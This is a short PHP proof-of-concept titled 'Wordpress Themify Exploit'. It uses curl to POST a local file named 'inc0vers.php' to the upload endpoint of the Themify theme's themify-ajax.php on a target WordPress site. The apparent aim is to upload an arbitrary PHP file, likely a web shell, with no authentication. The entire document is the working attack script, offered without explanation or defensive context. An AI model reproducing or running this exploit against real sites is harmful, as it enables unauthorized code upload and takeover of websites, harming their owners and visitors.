Wordpress Themify Exploit

<?php
$uploadfile="inc0vers.php";$ch = curl_init("http://127.0.0.1/wp-content/themes/elemin/themify/themify-ajax.php?upload=1");curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";?>